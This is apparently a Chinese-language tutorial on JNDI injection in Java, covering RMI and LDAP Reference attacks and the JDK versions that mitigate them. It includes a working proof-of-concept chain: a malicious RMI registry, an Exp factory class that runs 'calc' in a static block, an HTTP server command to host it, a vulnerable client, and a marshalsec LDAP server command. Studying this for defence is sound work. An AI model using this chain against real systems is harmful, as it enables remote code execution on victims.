JNDI(Java Naming and Directory Interface)是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口
RMI+JNDI References注入
在JNDI服务中,RMI服务器除了直接绑定远程对象,还可以通过References类来绑定一个外部的远程对象。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()这个远程对象的时,客户端会获取相应的object factory,最终通过factory类将reference转化为具体的对象实例
攻击流程:
1.目标代码中调用了InitialContext.lookup(URI),且URI为用户可控
2.攻击者控制URI参数为恶意的RMI服务地址
3.攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类
4.目标在进行lookup()操作时,会动态加载并实例化Factory类(会执行其中的静态代码块),接着调用factory.getObjectInstance()获取外部远程对象实例
Server代码:
public class Server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference Exp = new Reference("Exp","Exp","http://127.0.0.1:2333/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(Exp);
registry.bind("Exp",referenceWrapper);
}
Exp代码:
public class Exp implements ObjectFactory
{
static {
System.err.println("Pwned");
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd);
} catch ( Exception e ) {
e.printStackTrace();
}
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
用python开一个http服务 将其放进去
python3 -m http.server 2333
客户端代码:
public class Client {
public static void main(String[] args) throws NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099/");
Context ctx = new InitialContext(env);
ctx.lookup("Exp");
}
}
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
LDAP+JNDI Reference注入
LDAP全程是轻量级目录访问协议
目录是一个为查询,浏览和搜索而优化的数据库,成树状结构组织数据(类似文件目录)
LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup中的URL为一个LDAP地址:ldap://xxx/xxx
,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象
LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase
和com.sun.jndi.cosnaming.object.trustURLCodebase
的限制,使用范围更广
使用marshalsec
开启一个恶意的LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2333/#Exp 9999